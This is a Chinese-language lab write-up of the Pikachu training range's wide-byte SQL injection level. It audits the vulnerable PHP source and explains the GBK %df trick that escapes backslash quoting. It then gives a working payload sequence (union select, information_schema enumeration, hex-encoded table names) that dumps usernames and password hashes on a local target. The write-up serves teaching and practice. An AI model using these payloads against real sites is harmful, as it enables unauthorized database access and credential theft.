当前位置: 首页 > news >正文

pikachu靶场通关笔记27 SQL注入10-宽字节注入

目录

一、SQL注入

二、宽字节注入

三、源码分析

1、代码审计

2、渗透思路

四、渗透实战

1、渗透准备

2、SQL注入探测

3、获取回显列orderby

4、获取数据库名database

5、获取表名table

6、获取列名column

7、获取字段


本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对宽字节注入关卡源码的代码审计找到SQL注入安全风险的真实原因,讲解宽字节注入的原理并进行渗透实践,本文为SQL注入10之宽字节注入卡的渗透部分。

一、SQL注入

SQL注入指攻击者通过在Web应用程序的输入字段(如表单、URL参数、Cookie等)中插入恶意的SQL语句片段,干扰或篡改应用程序原本的SQL查询逻辑。这种篡改可能导致应用程序执行非预期的SQL操作,从而使攻击者能够非法访问、篡改或删除数据库中的敏感信息,甚至可能获取数据库的控制权,进而威胁到整个系统的安全性和稳定性。

二、宽字节注入

宽字节注入是一种利用字符集编码转换安全风险的SQL注入技术,主要影响使用GBK、GB2312等多字节编码的系统。其核心原理是当系统对单引号进行转义(如添加反斜杠\')时,攻击者通过提交特殊字符(如%df),使转义符与后续字节组合成合法汉字(如%df%5c变成"運"),导致单引号逃逸。例如输入%df'经转义变为%df\',在GBK编码下会被解析为"運'"从而使单引号生效。这种安全风险常见于PHP+MySQL环境中配置了SET NAMES 'gbk'的情况。防御需采用统一UTF-8编码、使用参数化查询或设置character_set_client=binary,同时避免直接拼接用户输入到SQL语句。

三、源码分析

1、代码审计

打开pikachu靶场的SQL注入-字符型关卡对应的源码sqli_widebyte.php,源码内容如下所示。

很明显查询语句没有对POST方法传入的参数name进行过滤,存在SQL注入风险,详细注释后的代码具体如下所示。 

<?php
// 调用 connect 函数建立与数据库的连接,并将连接对象赋值给变量 $link
$link = connect();// 初始化用于存储 HTML 内容的变量,用于后续显示查询结果或提示信息
$html = '';// 检查是否通过 POST 方法提交了表单,并且表单中名为 'name' 的字段不为空
if (isset($_POST['submit']) && $_POST['name'] != null) {// 调用 escape 函数对用户输入的 'name' 进行转义处理,防止 SQL 注入$name = escape($link, $_POST['name']);// 构造一个 SQL 查询语句,用于从 member 表中选取 username 等于用户输入值的记录的 id 和 email 字段// 由于 'name' 是字符型,在 SQL 语句中需要用单引号括起来$query = "select id,email from member where username='$name'";// 设置 MySQL 客户端的字符编码为 gbk,这一步设置可能会导致宽字节注入问题$set = "set character_set_client=gbk";// 执行设置字符编码的 SQL 语句execute($link, $set);// 使用 mysqli_query 函数执行构造好的 SQL 查询语句// mysqli_query 函数执行查询时不会打印详细的错误描述$result = mysqli_query($link, $query);// 检查查询结果集中的行数是否大于等于 1if (mysqli_num_rows($result) >= 1) {// 当结果集中有记录时,使用 while 循环逐行获取结果集的数据while ($data = mysqli_fetch_assoc($result)) {// 从关联数组 $data 中获取 'id' 字段的值,并赋值给变量 $id$id = $data['id'];// 从关联数组 $data 中获取 'email' 字段的值,并赋值给变量 $email$email = $data['email'];// 将用户信息拼接成 HTML 字符串,添加到变量 $html 中$html .= "<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";}} else {// 如果结果集中没有记录,将提示信息拼接成 HTML 字符串,添加到变量 $html 中$html .= "<p class='notice'>您输入的 username 不存在,请重新输入!</p>";}
}
?>

这段 PHP 代码的主要功能是处理一个通过 POST 方法提交的表单。当用户在表单中输入 name 并提交后,代码会对输入的 name 进行转义处理,然后构造一个 SQL 查询语句,从 member 表中查询 username 等于用户输入值的记录的 id 和 email 信息。在执行查询之前,会将 MySQL 客户端的字符编码设置为 gbk。如果查询到结果,则将用户的 id 和 email 信息以 HTML 段落的形式显示出来;如果没有查询到结果,则提示用户输入的 username 不存在。

此代码存在 SQL 宽字节安全风险的主要原因在于设置了 set character_set_client=gbk。当使用 escape 函数对用户输入进行转义时,会在单引号等特殊字符前添加反斜杠(\),反斜杠的 ASCII 码是 %5c。在 GBK 编码中,攻击者可以利用编码规则,输入一个特定的字节(如 %df),它与 %5c 组合会形成一个合法的宽字节字符,从而使原本被转义的单引号恢复其特殊作用,破坏了转义的效果,导致 SQL 注入安全风险。 

2、渗透思路

攻击者可以构造特殊的输入来利用这个宽字节注入安全风险。例如,当用户输入 %df' OR '1'='1 时,escape 函数会对其进行转义,将单引号转义为 \',但由于设置了 gbk 编码,%df 和转义后的 %5c 会组合成一个宽字节字符,使得单引号恢复正常。此时实际执行的 SQL 查询语句如下所示。

select id,email from member where username='%df' OR '1'='1';

由于 '1'='1' 恒为真,这个查询会返回 member 表中的所有记录,攻击者借此就能获取到所有用户的 id 和 email 信息。攻击者还可以进一步构造更复杂的注入语句,如使用联合查询获取数据库中的其他敏感信息,或者执行删除表、修改数据等恶意操作。

四、渗透实战

1、渗透准备

打开靶场SQL注入第十关,完整URL链接和页面如下所示。

http://127.0.0.1/pikachu/vul/sqli/sqli_widebyte.php

尝试输入已知用户lili,展示了用户id和邮箱,如下所示。 

 尝试输入任意错误用户,展示了用户id和邮箱,如下所示。  

使用burpsuite抓包,找到查询lili的报文并发送到repeater,如下所示。

为了防止payload被浏览器编码,我们抓包在burpsuite中构造payload,如下所示。

2、SQL注入探测

尝试万能注入语句,判断闭合语句,在姓名后加上%df' or= 1=1#万能注入语句,如下所示。

lili%df' or 1=1#

3、获取回显列orderby

使用order by判断其可回显的字段,如下所示最终判断其回显列数为2个。

lili%df' order by 3#

lili%df' order by 2#

由于回显位共两个,且通过orderby获知仅有两列,故而可知这两列已经全部显示出来了,即第一个回显位和第二个回显位都有效。

lili%df' union select 1,2 #

4、获取数据库名database

lili%df' union select database(),user()#

输入lili' union select database(),user()#后注入成功,显示信息为两个,第一个是原有信息,通过第二个获取到数据库名为pikachu,用户名为root@localhost,具体如下所示。 

接下来修改union前面的字符串,使前面内容为不存在的用户名,使只输出union后面的内容。 

-1%df' union select database(),user()#

输入-1%df' union select database(),user()#后注入成功,显示信息为1个,可以直接获取到数据库名为pikachu,用户名为root@localhost,具体如下所示。 

5、获取表名table

对pikchu数据库中表名进行爆破,注入命令如下所示。

-1%df'union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

却发现没有查询成功,发现payload里面有单引号,而在宽字节注入里面单引号是会被转义的,这里面的单引号也不能用之前的方法逃逸了,否则语句无法执行。为了避免使用引号,采用嵌套查询, 将table_schema='pikachu'替换为table_schema=database(),如下所示。

-1%df'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

渗透后获取到数据库pikachu表有4个table,分别为httpinfo,member,message,users,xssblind,如下所示。

6、获取列名column

对pikchu数据库中users表中的列名进行爆破,由于单引号无法使用,我们指定表名时需要对表名进行16进制编码,users的16进制编码结果为0x7573657273。

基于此,获取列名的注入命令部分的table部分改为table_name=0x7573657273,具体如下所示。

-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#

渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。 

7、获取字段

对pikachu数据库中users表的username、password列进行爆破,命令如下所示。

-1%df' union select group_concat(username),group_concat(password) from users#

渗透后获取到数据库users表的username、password字段如下所示,渗透成功。  

your uid:admin,pikachu,test
your email is: e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03

http://www.xdnf.cn/news/1002601.html

相关文章:

  • 网络安全攻防领域证书
  • leetcode 从中序与后序序列 or 从前序与中序序列 构造二叉树 java
  • docker 网络
  • 【MV】key_moments 与 continuous_timeline的编排权衡
  • Git 清理指南:如何从版本库中移除误提交的文件(保留本地文件)
  • 解决数字超出不会自动换行问题
  • HNCTF部分总结复现
  • 力扣刷题——二分查找
  • Android 开发中,Intent 和 Bundle 组件间传递数据的几种方式
  • 基于Node.js的线上教学系统的设计与实现(源码+论文+调试+安装+售后)
  • 如何“下载安转Allure”?
  • #pragma pack的作用
  • 海外广告投放|FB IG 速推帖子有效吗?
  • 2.倒排索引
  • Mitsubishi GX Works3 / GOT3 的惡意工程混淆邏輯注入攻擊
  • Parasoft C++Test软件集成测试(部件测试)_实例讲解
  • C++的学习路径
  • 第一个简单的爬虫
  • 一起了解--CAST函数
  • C++上学抄近路 动态规划算法实现 CCF信息学奥赛C++ 中小学普及组 CSP-J C++算法案例学习
  • Spring Boot 项目中如何划分事务边界,避免长事务?
  • yolo11学习笔记
  • ajax访问阿里云天气接口,获取7天天气
  • C++ 引用
  • get_attribute的使用方法
  • 【小根堆】P9557 [SDCPC 2023] Building Company|普及+
  • Spring Cloud Gateway + OAuth2 + JWT 单点登录(SSO)实现方案
  • Java八股文——MySQL「SQL 基础篇」
  • 随记:sw2urdf插件导出urdf模型在ROS2-rviz2显示
  • 在Vue2项目中引入ElementUI详细步骤